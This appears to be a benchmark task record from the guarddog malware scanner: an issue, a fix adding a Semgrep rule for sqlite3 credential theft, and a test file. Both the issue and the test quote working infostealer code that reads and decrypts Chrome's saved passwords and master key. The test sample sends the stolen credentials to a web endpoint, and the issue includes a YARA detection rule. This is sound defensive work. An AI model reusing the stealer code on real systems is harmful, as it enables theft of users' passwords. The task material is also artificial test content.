Repository: DataDog/guarddog (language: python)

Issue:
Detect credential stealer using sqlite3
Definition: Malware can collect credentials in browser file using sqlite3
Source: https://blog.cyble.com/2023/05/03/new-kekw-malware-variant-identified-in-pypi-package-distribution/
Sample:
```python
def steal_passwords2(self, name: str, path:str, profile:str):
  path = "path"
  if not os.path.isfile(path):
    return 
  loginvault = self.random_dir_create()
  copy2(path, loginvault)
  conn = sqlite3. connect(loginvault)
  cursor = conn.cursor()
  with open(os.path.join(self.dir, "Browsers", "All Passwords.txt"), 'a', encoding="utf-8") as f:
    for res in cursor.execute("SELECT origin_url, username, password_value FROM logins").fetchall(): 
      url, username, password = res
      password = self.dcrpt_val(password, self.masterkey)
      if urI != "":
        f.write (E"URL: (url)\nID: (username)\nPASSWORD: (password) \n\n")
  
  cursor.close()
  conn.close()
```
 
Other stealers such as W4sp stealer, and reols package

See also: https://www.virustotal.com/gui/file/f1fed89b8db4855ff9adbb517b21f136ccc359c4caba2852e57994773501128a from https://github.com/ditekshen/detection:

```
rule INDICATOR_SUSPICIOUS_EXE_SQLQuery_ConfidentialDataStore {
    meta:
        author = "ditekSHen"
        description = "Detects executables containing SQL queries to confidential data stores. Observed in infostealers"
    strings:
        $select = "select " ascii wide nocase
        $table1 = " from credit_cards" ascii wide nocase
        $table2 = " from logins" ascii wide nocase
        $table3 = " from cookies" ascii wide nocase
        $table4 = " from moz_cookies" ascii wide nocase
        $table5 = " from moz_formhistory" ascii wide nocase
        $table6 = " from moz_logins" ascii wide nocase
        $column1 = "name" ascii wide nocase
        $column2 = "password_value" ascii wide nocase
        $column3 = "encrypted_value" ascii wide nocase
        $column4 = "card_number_encrypted" ascii wide nocase
        $column5 = "isHttpOnly" ascii wide nocase
    condition:
        uint16(0) == 0x5a4d and 2 of ($table*) and 2 of ($column*) and $select
}
```

Also often coupled with `win32crypt.CryptUnprotectData` e.g. 

```
def tahg(pene):
    x = json.loads(open(os.environ['LOCALAPPDATA'] + "\\Google\\Chrome\\User Data\\Local State", "r", encoding="utf-8").read())
    try:
        mk = win32crypt.CryptUnprotectData(base64.b64decode(x["os_crypt"]["encrypted_key"])[5:], None, None, None, 0)[1]
    except:
        mk = ""
    try:
       return (AES.new(mk, AES.MODE_GCM, pene[3:15]).decrypt(pene[15:])[:-16]).decode()

    except:
        return ""
```


Discussion / hints:
Seems related to https://github.com/DataDog/guarddog/issues/159, is it a duplicate or does it make sense to keep both?
Oh I missed that one. I think we can merge them in one issue. Any objection?
let's do it!

Fix patch:
diff --git a/guarddog/analyzer/sourcecode/exfiltrate-sensitive-data.yml b/guarddog/analyzer/sourcecode/exfiltrate-sensitive-data.yml
index 81887d68..605ee395 100644
--- a/guarddog/analyzer/sourcecode/exfiltrate-sensitive-data.yml
+++ b/guarddog/analyzer/sourcecode/exfiltrate-sensitive-data.yml
@@ -31,6 +31,18 @@ rules:
           - metavariable-regex:
               metavariable: $ENVVAR
               regex: ([\"\'](AWS_ACCESS_KEY_ID|AWS_SECRET_ACCESS_KEY|AWS_SESSION_TOKEN)[\"\'])
+      - patterns:
+          - pattern-inside: |
+              $CONNECT = sqlite3.connect(...)
+              ...
+              $CURSOR = $CONNECT.cursor(...)
+              ...
+          - pattern: $CURSOR.execute($QUERY, ...)
+          - metavariable-pattern:
+              metavariable: $QUERY
+              patterns:
+                - pattern: "..."
+                - pattern-regex: (?i)(cookies|credit_cards|logins|moz_cookies|moz_formhistory|moz_logins)
     pattern-sinks:
       - pattern-either:
           - pattern-inside: requests.$METHOD(...)


Test patch:
diff --git a/tests/analyzer/sourcecode/exfiltrate-sensitive-data.py b/tests/analyzer/sourcecode/exfiltrate-sensitive-data.py
index 80021ad8..05ba1867 100644
--- a/tests/analyzer/sourcecode/exfiltrate-sensitive-data.py
+++ b/tests/analyzer/sourcecode/exfiltrate-sensitive-data.py
@@ -226,3 +226,26 @@ def run(self):
         ploads = {'hostname':hostname,'cwd':cwd,'username':username}
         # ruleid: exfiltrate-sensitive-data
         requests.get("https://eo6ksiuyau5e5x2.m.pipedream.net",params = ploads)
+
+
+""" RULEID: sqlite3 data exfiltration
+"""
+
+def steal_passwords2(self, name: str, path: str, profile: str):
+    path = "path"
+    if not os.path.isfile(path):
+        return
+    loginvault = self.random_dir_create()
+    copy2(path, loginvault)
+    conn = sqlite3.connect(loginvault)
+    cursor = conn.cursor()
+    with open(os.path.join(self.dir, "Browsers", "All Passwords.txt"), 'a', encoding="utf-8") as f:
+        for res in cursor.execute("SELECT origin_url, username, password_value FROM logins").fetchall():
+            url, username, password = res
+            password = self.dcrpt_val(password, self.masterkey)
+            if url != "":
+                params = {'url': url, 'username': username, 'password': password}
+                # ruleid: exfiltrate-sensitive-data
+                requests.get("https://example.com", params=params)
+    cursor.close()
+    conn.close()